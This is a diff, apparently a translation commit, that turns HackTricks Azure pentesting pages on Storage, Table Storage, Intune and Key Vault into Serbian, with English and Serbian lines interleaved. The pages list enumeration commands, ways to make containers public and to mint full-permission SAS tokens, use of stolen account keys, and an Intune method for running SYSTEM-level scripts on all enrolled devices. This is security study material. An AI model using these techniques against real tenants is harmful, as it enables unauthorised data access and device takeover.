- Configure home directories for users to define their starting location within the container.
|
||||
- Hijerarhijski imenski prostor: HNS mora biti omogućen prilikom kreiranja naloga za skladištenje.
|
||||
- Podržana enkripcija: Zahteva Microsoft Security Development Lifecycle (SDL) odobrene kriptografske algoritme (npr., rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP konfiguracija:
|
||||
- Omogućite SFTP na nalogu za skladištenje.
|
||||
- Kreirajte lokalne korisničke identitete sa odgovarajućim dozvolama.
|
||||
- Konfigurišite početne direktorijume za korisnike kako biste definisali njihovu početnu lokaciju unutar kontejnera.
|
||||
|
||||
### Permissions
|
||||
### Dozvole
|
||||
|
||||
| Permission | Symbol | Description |
|
||||
| ---------------------- | ------ | ------------------------------------ |
|
||||
| **Read** | `r` | Read file content. |
|
||||
| **Write** | `w` | Upload files and create directories. |
|
||||
| **List** | `l` | List contents of directories. |
|
||||
| **Delete** | `d` | Delete files or directories. |
|
||||
| **Create** | `c` | Create files or directories. |
|
||||
| **Modify Ownership** | `o` | Change the owning user or group. |
|
||||
| **Modify Permissions** | `p` | Change ACLs on files or directories. |
|
||||
| Dozvola | Simbol | Opis |
|
||||
| --------------------- | ------ | --------------------------------------- |
|
||||
| **Čitanje** | `r` | Čitaj sadržaj datoteke. |
|
||||
| **Pisanje** | `w` | Učitaj datoteke i kreiraj direktorijume. |
|
||||
| **Lista** | `l` | Lista sadržaj direktorijuma. |
|
||||
| **Brisanje** | `d` | Obriši datoteke ili direktorijume. |
|
||||
| **Kreiranje** | `c` | Kreiraj datoteke ili direktorijume. |
|
||||
| **Izmena vlasništva** | `o` | Promeni vlasničkog korisnika ili grupu. |
|
||||
| **Izmena dozvola** | `p` | Promeni ACL-ove na datotekama ili direktorijumima. |
|
||||
|
||||
## Enumeration
|
||||
## Enumeracija
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
@@ -231,31 +220,31 @@ az storage account list #Get the account name from here
|
||||
az storage container list --account-name <name>
|
||||
## Check if public access is allowed
|
||||
az storage container show-permission \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
## Make a container public
|
||||
az storage container set-permission \
|
||||
--public-access container \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
--public-access container \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
## List blobs in a container
|
||||
az storage blob list \
|
||||
--container-name <container name> \
|
||||
--account-name <account name>
|
||||
--container-name <container name> \
|
||||
--account-name <account name>
|
||||
## Download blob
|
||||
az storage blob download \
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
## Create container policy
|
||||
az storage container policy create \
|
||||
--account-name mystorageaccount \
|
||||
--container-name mycontainer \
|
||||
--name fullaccesspolicy \
|
||||
--permissions racwdl \
|
||||
--start 2023-11-22T00:00Z \
|
||||
--expiry 2024-11-22T00:00Z
|
||||
--account-name mystorageaccount \
|
||||
--container-name mycontainer \
|
||||
--name fullaccesspolicy \
|
||||
--permissions racwdl \
|
||||
--start 2023-11-22T00:00Z \
|
||||
--expiry 2024-11-22T00:00Z
|
||||
|
||||
# QUEUE
|
||||
az storage queue list --account-name <name>
|
||||
@@ -268,81 +257,79 @@ az storage account show -n <name> --query "{KeyPolicy:keyPolicy}"
|
||||
## Once having the key, it's possible to use it with the argument --account-key
|
||||
## Enum blobs with account key
|
||||
az storage blob list \
|
||||
--container-name <container name> \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw=="
|
||||
--container-name <container name> \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw=="
|
||||
## Download a file using an account key
|
||||
az storage blob download \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
## Upload a file using an account key
|
||||
az storage blob upload \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--file </path/to/local/file>
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--file </path/to/local/file>
|
||||
|
||||
# SAS
|
||||
## List access policies
|
||||
az storage <container|queue|share|table> policy list \
|
||||
--account-name <acc name> \
|
||||
--container-name <container name>
|
||||
--account-name <acc name> \
|
||||
--container-name <container name>
|
||||
|
||||
## Generate SAS with all permissions using an access key
|
||||
az storage <container|queue|share|table|blob> generate-sas \
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
|
||||
## Generate SAS with all permissions using via user delegation
|
||||
az storage <container|queue|share|table|blob> generate-sas \
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--as-user --auth-mode login \
|
||||
-n <container-name>
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--as-user --auth-mode login \
|
||||
-n <container-name>
|
||||
|
||||
## Generate account SAS
|
||||
az storage account generate-sas \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--services qt \
|
||||
--resource-types sco \
|
||||
--permissions acdfilrtuwxy
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--services qt \
|
||||
--resource-types sco \
|
||||
--permissions acdfilrtuwxy
|
||||
|
||||
## Use the returned SAS key with the param --sas-token
|
||||
## e.g.
|
||||
az storage blob show \
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--sas-token 'se=2024-12-31T23%3A59%3A00Z&sp=racwdxyltfmei&sv=2022-11-02&sr=c&sig=ym%2Bu%2BQp5qqrPotIK5/rrm7EMMxZRwF/hMWLfK1VWy6E%3D' \
|
||||
--name 'asd.txt'
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--sas-token 'se=2024-12-31T23%3A59%3A00Z&sp=racwdxyltfmei&sv=2022-11-02&sr=c&sig=ym%2Bu%2BQp5qqrPotIK5/rrm7EMMxZRwF/hMWLfK1VWy6E%3D' \
|
||||
--name 'asd.txt'
|
||||
|
||||
#Local-Users
|
||||
## List users
|
||||
az storage account local-user list \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
## Get user
|
||||
az storage account local-user show \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--name <local-user-name>
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--name <local-user-name>
|
||||
|
||||
## List keys
|
||||
az storage account local-user list \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount | fl
|
||||
@@ -359,16 +346,16 @@ Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name
|
||||
|
||||
# Create a Container Policy
|
||||
New-AzStorageContainerStoredAccessPolicy `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container <container-name> `
|
||||
-Policy <policy-name> `
|
||||
-Permission racwdl `
|
||||
-StartTime (Get-Date "2023-11-22T00:00Z") `
|
||||
-ExpiryTime (Get-Date "2024-11-22T00:00Z")
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container <container-name> `
|
||||
-Policy <policy-name> `
|
||||
-Permission racwdl `
|
||||
-StartTime (Get-Date "2023-11-22T00:00Z") `
|
||||
-ExpiryTime (Get-Date "2024-11-22T00:00Z")
|
||||
#Get Container policy
|
||||
Get-AzStorageContainerStoredAccessPolicy `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container "storageaccount1994container"
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container "storageaccount1994container"
|
||||
|
||||
# Queue Management
|
||||
Get-AzStorageQueue -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
@@ -377,65 +364,60 @@ Get-AzStorageQueue -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupNam
|
||||
#Blob Container
|
||||
Get-AzStorageBlob -Container <container-name> -Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
Get-AzStorageBlobContent `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Destination <local-path> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Destination <local-path> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
|
||||
Set-AzStorageBlobContent `
|
||||
-Container <container-name> `
|
||||
-File <local-file-path> `
|
||||
-Blob <blob-name> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
-Container <container-name> `
|
||||
-File <local-file-path> `
|
||||
-Blob <blob-name> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
|
||||
# Shared Access Signatures (SAS)
|
||||
Get-AzStorageContainerAcl `
|
||||
-Container <container-name> `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
-Container <container-name> `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
|
||||
New-AzStorageBlobSASToken `
|
||||
-Context $ctx `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Permission racwdl `
|
||||
-ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
|
||||
-Context $ctx `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Permission racwdl `
|
||||
-ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### File Shares
|
||||
### Deljenje fajlova
|
||||
|
||||
{{#ref}}
|
||||
az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## Eskalacija privilegija
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## Post Eksploatacija
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-blob-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## Postojanost
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,35 +2,34 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne Informacije
|
||||
|
||||
**Azure Table Storage** is a NoSQL key-value store designed for storing large volumes of structured, non-relational data. It offers high availability, low latency, and scalability to handle large datasets efficiently. Data is organized into tables, with each entity identified by a partition key and row key, enabling fast lookups. It supports features like encryption at rest, role-based access control, and shared access signatures for secure, managed storage suitable for a wide range of applications.
|
||||
**Azure Table Storage** je NoSQL skladište ključ-vrednost dizajnirano za skladištenje velikih količina strukturiranih, nestrukturiranih podataka. Pruža visoku dostupnost, nisku latenciju i skalabilnost za efikasno upravljanje velikim skupovima podataka. Podaci su organizovani u tabele, pri čemu je svaka entitet identifikovan pomoću partition key i row key, što omogućava brze pretrage. Podržava funkcije kao što su enkripcija u mirovanju, kontrola pristupa zasnovana na ulogama i potpisane pristupne dozvole za sigurno, upravljano skladištenje pogodno za širok spektar aplikacija.
|
||||
|
||||
There **isn't built-in backup mechanism** for table storage.
|
||||
**Ne postoji ugrađeni mehanizam za backup** za table storage.
|
||||
|
||||
### Keys
|
||||
### Ključevi
|
||||
|
||||
#### **PartitionKey**
|
||||
|
||||
- The **PartitionKey groups entities into logical partitions**. Entities with the same PartitionKey are stored together, which improves query performance and scalability.
|
||||
- Example: In a table storing employee data, `PartitionKey` might represent a department, e.g., `"HR"` or `"IT"`.
|
||||
- **PartitionKey grupiše entitete u logičke particije**. Entiteti sa istim PartitionKey se skladište zajedno, što poboljšava performanse upita i skalabilnost.
|
||||
- Primer: U tabeli koja skladišti podatke o zaposlenima, `PartitionKey` može predstavljati odeljenje, npr., `"HR"` ili `"IT"`.
|
||||
|
||||
#### **RowKey**
|
||||
|
||||
- The **RowKey is the unique identifier** for an entity within a partition. When combined with the PartitionKey, it ensures that each entity in the table has a globally unique identifier.
|
||||
- Example: For the `"HR"` partition, `RowKey` might be an employee ID, e.g., `"12345"`.
|
||||
- **RowKey je jedinstveni identifikator** za entitet unutar particije. Kada se kombinuje sa PartitionKey, osigurava da svaki entitet u tabeli ima globalno jedinstveni identifikator.
|
||||
- Primer: Za particiju `"HR"`, `RowKey` može biti ID zaposlenog, npr., `"12345"`.
|
||||
|
||||
#### **Other Properties (Custom Properties)**
|
||||
#### **Ostala Svojstva (Prilagođena Svojstva)**
|
||||
|
||||
- Besides the PartitionKey and RowKey, an entity can have additional **custom properties to store data**. These are user-defined and act like columns in a traditional database.
|
||||
- Properties are stored as **key-value pairs**.
|
||||
- Example: `Name`, `Age`, `Title` could be custom properties for an employee.
|
||||
- Pored PartitionKey i RowKey, entitet može imati dodatna **prilagođena svojstva za skladištenje podataka**. Ova svojstva su definisana od strane korisnika i deluju kao kolone u tradicionalnoj bazi podataka.
|
||||
- Svojstva se skladište kao **ključ-vrednost parovi**.
|
||||
- Primer: `Name`, `Age`, `Title` mogu biti prilagođena svojstva za zaposlenog.
|
||||
|
||||
## Enumeration
|
||||
## Enumeracija
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list
|
||||
@@ -40,32 +39,30 @@ az storage table list --account-name <name>
|
||||
|
||||
# Read table
|
||||
az storage entity query \
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--top 10
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--top 10
|
||||
|
||||
# Write table
|
||||
az storage entity insert \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--table-name <TABLE_NAME> \
|
||||
--entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--table-name <TABLE_NAME> \
|
||||
--entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
|
||||
|
||||
# Write example
|
||||
az storage entity insert \
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Update row
|
||||
az storage entity merge \
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=pk1 RowKey=rk1 Age=31
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=pk1 RowKey=rk1 Age=31
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount
|
||||
@@ -73,20 +70,19 @@ Get-AzStorageAccount
|
||||
# List tables
|
||||
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login`.
|
||||
> Po default-u `az` cli će koristiti ključ naloga za potpisivanje ključa i izvršavanje akcije. Da biste koristili privilegije Entra ID glavnog korisnika, koristite parametre `--auth-mode login`.
|
||||
|
||||
> [!TIP]
|
||||
> Use the param `--account-key` to indicate the account key to use\
|
||||
> Use the param `--sas-token` with the SAS token to access via a SAS token
|
||||
> Koristite parametar `--account-key` da naznačite ključ naloga koji treba koristiti\
|
||||
> Koristite parametar `--sas-token` sa SAS tokenom za pristup putem SAS tokena
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Same as storage privesc:
|
||||
Isto kao i storage privesc:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
@@ -100,14 +96,10 @@ Same as storage privesc:
|
||||
|
||||
## Persistence
|
||||
|
||||
Same as storage persistence:
|
||||
Isto kao i storage persistence:
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,34 +2,28 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
Microsoft Intune is designed to streamline the process of **app and device management**. Its capabilities extend across a diverse range of devices, encompassing mobile devices, desktop computers, and virtual endpoints. The core functionality of Intune revolves around **managing user access and simplifying the administration of applications** and devices within an organization's network.
|
||||
Microsoft Intune je dizajniran da pojednostavi proces **upravljanja aplikacijama i uređajima**. Njegove mogućnosti se protežu na raznovrsne uređaje, uključujući mobilne uređaje, desktop računare i virtuelne krajnje tačke. Osnovna funkcionalnost Intune-a se vrti oko **upravljanja pristupom korisnika i pojednostavljivanja administracije aplikacija** i uređaja unutar mreže organizacije.
|
||||
|
||||
## Cloud -> On-Prem
|
||||
|
||||
A user with **Global Administrator** or **Intune Administrator** role can execute **PowerShell** scripts on any **enrolled Windows** device.\
|
||||
The **script** runs with **privileges** of **SYSTEM** on the device only once if it doesn't change, and from Intune it's **not possible to see the output** of the script.
|
||||
|
||||
Korisnik sa **Global Administrator** ili **Intune Administrator** ulogom može izvršavati **PowerShell** skripte na bilo kojem **registriranom Windows** uređaju.\
|
||||
**Skripta** se izvršava sa **privilegijama** **SYSTEM** na uređaju samo jednom ako se ne menja, i iz Intune-a **nije moguće videti izlaz** skripte.
|
||||
```powershell
|
||||
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
|
||||
```
|
||||
1. Prijavite se na [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) ili koristite Pass-The-PRT
|
||||
2. Idite na **Uređaji** -> **Svi uređaji** da proverite uređaje registrovane u Intune
|
||||
3. Idite na **Skripte** i kliknite na **Dodaj** za Windows 10.
|
||||
4. Dodajte **Powershell skriptu**
|
||||
- .png>)
|
||||
5. Odredite **Dodaj sve korisnike** i **Dodaj sve uređaje** na stranici **Dodeljivanje**.
|
||||
|
||||
1. Login into [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) or use Pass-The-PRT
|
||||
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
|
||||
3. Go to **Scripts** and click on **Add** for Windows 10.
|
||||
4. Add a **Powershell script**
|
||||
- .png>)
|
||||
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
|
||||
Izvršenje skripte može potrajati do **jednog sata**.
|
||||
|
||||
The execution of the script can take up to **one hour**.
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,69 +2,66 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
**Azure Key Vault** is a cloud service provided by Microsoft Azure for securely storing and managing sensitive information such as **secrets, keys, certificates, and passwords**. It acts as a centralized repository, offering secure access and fine-grained control using Azure Active Directory (Azure AD). From a security perspective, Key Vault provides **hardware security module (HSM) protection** for cryptographic keys, ensures secrets are encrypted both at rest and in transit, and offers robust access management through **role-based access control (RBAC)** and policies. It also features **audit logging**, integration with Azure Monitor for tracking access, and automated key rotation to reduce risk from prolonged key exposure.
|
||||
**Azure Key Vault** je cloud usluga koju pruža Microsoft Azure za sigurno čuvanje i upravljanje osetljivim informacijama kao što su **tajne, ključevi, sertifikati i lozinke**. Deluje kao centralizovani repozitorijum, nudeći siguran pristup i preciznu kontrolu koristeći Azure Active Directory (Azure AD). Sa bezbednosnog aspekta, Key Vault pruža **zaštitu hardverskog sigurnosnog modula (HSM)** za kriptografske ključeve, osigurava da su tajne enkriptovane kako u mirovanju, tako i u prenosu, i nudi robusno upravljanje pristupom putem **kontrole pristupa zasnovane na ulogama (RBAC)** i politika. Takođe sadrži **evidenciju revizije**, integraciju sa Azure Monitor-om za praćenje pristupa, i automatsku rotaciju ključeva kako bi se smanjio rizik od dugotrajne izloženosti ključeva.
|
||||
|
||||
See [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) for complete details.
|
||||
Pogledajte [pregled Azure Key Vault REST API](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) za potpune detalje.
|
||||
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Vaults support storing software and HSM-backed keys, secrets, and certificates. Managed HSM pools only support HSM-backed keys.
|
||||
Prema [**dokumentaciji**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Vault-ovi podržavaju čuvanje softverskih i HSM-podržanih ključeva, tajni i sertifikata. Upravljani HSM bazeni podržavaju samo HSM-podržane ključeve.
|
||||
|
||||
The **URL format** for **vaults** is `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` and for managed HSM pools it's: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
||||
**URL format** za **vault-ove** je `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` a za upravljane HSM bazene je: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
||||
|
||||
Where:
|
||||
Gde:
|
||||
|
||||
- `vault-name` is the globally **unique** name of the key vault
|
||||
- `object-type` can be "keys", "secrets" or "certificates"
|
||||
- `object-name` is **unique** name of the object within the key vault
|
||||
- `object-version` is system generated and optionally used to address a **unique version of an object**.
|
||||
- `vault-name` je globalno **jedinstveno** ime key vault-a
|
||||
- `object-type` može biti "keys", "secrets" ili "certificates"
|
||||
- `object-name` je **jedinstveno** ime objekta unutar key vault-a
|
||||
- `object-version` je sistemski generisan i opcionalno se koristi za adresiranje **jedinstvene verzije objekta**.
|
||||
|
||||
In order to access to the secrets stored in the vault it's possible to select between 2 permissions models when creating the vault:
|
||||
Da bi se pristupilo tajnama pohranjenim u vault-u, moguće je izabrati između 2 modela dozvola prilikom kreiranja vault-a:
|
||||
|
||||
- **Vault access policy**
|
||||
- **Azure RBAC** (most common and recommended)
|
||||
- You can find all the granular permissions supported in [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
|
||||
- **Politika pristupa vault-u**
|
||||
- **Azure RBAC** (najčešći i preporučen)
|
||||
- Sve granularne dozvole podržane možete pronaći na [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
|
||||
|
||||
### Access Control <a href="#access-control" id="access-control"></a>
|
||||
### Kontrola pristupa <a href="#access-control" id="access-control"></a>
|
||||
|
||||
Access to a Key Vault resource is controlled by two planes:
|
||||
Pristup resursu Key Vault-a kontroliše se kroz dva plana:
|
||||
|
||||
- The **management plane**, whose target is [management.azure.com](http://management.azure.com/).
|
||||
- It's used to manage the key vault and **access policies**. Only Azure role based access control (**RBAC**) is supported.
|
||||
- The **data plane**, whose target is **`<vault-name>.vault.azure.com`**.
|
||||
- It's used to manage and access the **data** (keys, secrets and certificates) **in the key vault**. This supports **key vault access policies** or Azure **RBAC**.
|
||||
- **Upravljački plan**, čija je meta [management.azure.com](http://management.azure.com/).
|
||||
- Koristi se za upravljanje key vault-om i **politikama pristupa**. Podržava se samo Azure kontrola pristupa zasnovana na ulogama (**RBAC**).
|
||||
- **Podatkovni plan**, čija je meta **`<vault-name>.vault.azure.com`**.
|
||||
- Koristi se za upravljanje i pristup **podacima** (ključevi, tajne i sertifikati) **u key vault-u**. Ovo podržava **politike pristupa key vault-u** ili Azure **RBAC**.
|
||||
|
||||
A role like **Contributor** that has permissions in the management place to manage access policies can get access to the secrets by modifying the access policies.
|
||||
Uloga kao što je **Contributor** koja ima dozvole u upravljačkom planu za upravljanje politikama pristupa može dobiti pristup tajnama modifikovanjem politika pristupa.
|
||||
|
||||
### Key Vault RBAC Built-In Roles <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
|
||||
### Ugrađene uloge Key Vault RBAC <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
|
||||
|
||||
<figure><img src="../../../images/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Network Access
|
||||
### Mrežni pristup
|
||||
|
||||
In Azure Key Vault, **firewall** rules can be set up to **allow data plane operations only from specified virtual networks or IPv4 address ranges**. This restriction also affects access through the Azure administration portal; users will not be able to list keys, secrets, or certificates in a key vault if their login IP address is not within the authorized range.
|
||||
|
||||
For analyzing and managing these settings, you can use the **Azure CLI**:
|
||||
U Azure Key Vault-u, **firewall** pravila mogu se postaviti da **dozvole operacije podatkovnog plana samo sa određenih virtuelnih mreža ili IPv4 opsega adresa**. Ova ograničenja takođe utiču na pristup putem Azure administrativnog portala; korisnici neće moći da listaju ključeve, tajne ili sertifikate u key vault-u ako njihova IP adresa za prijavu nije unutar autorizovanog opsega.
|
||||
|
||||
Za analizu i upravljanje ovim podešavanjima, možete koristiti **Azure CLI**:
|
||||
```bash
|
||||
az keyvault show --name name-vault --query networkAcls
|
||||
```
|
||||
Prethodna komanda će prikazati **podešavanja vatrozida `name-vault`**, uključujući omogućene IP opsege i politike za odbijeni saobraćaj.
|
||||
|
||||
The previous command will display the f**irewall settings of `name-vault`**, including enabled IP ranges and policies for denied traffic.
|
||||
Pored toga, moguće je kreirati **privatni krajnji tačku** kako bi se omogućila privatna veza sa trezorom.
|
||||
|
||||
Moreover, it's possible to create a **private endpoint** to allow a private connection to a vault.
|
||||
### Zaštita od brisanja
|
||||
|
||||
### Deletion Protection
|
||||
Kada se kreira ključni trezor, minimalni broj dana koji se dozvoljava za brisanje je 7. Što znači da kada god pokušate da obrišete taj ključni trezor, biće potrebno **najmanje 7 dana da bude obrisan**.
|
||||
|
||||
When a key vault is created the minimum number of days to allow for deletion is 7. Which means that whenever you try to delete that key vault it'll need **at least 7 days to be deleted**.
|
||||
Međutim, moguće je kreirati trezor sa **onemogućenim zaštitom od brisanja** što omogućava brisanje ključnog trezora i objekata tokom perioda zadržavanja. Ipak, kada se ova zaštita omogući za trezor, ne može se onemogućiti.
|
||||
|
||||
However, it's possible to create a vault with **purge protection disabled** which allow key vault and objects to be purged during retention period. Although, once this protection is enabled for a vault it cannot be disabled.
|
||||
|
||||
## Enumeration
|
||||
## Enumeracija
|
||||
|
||||
{{#tabs }}
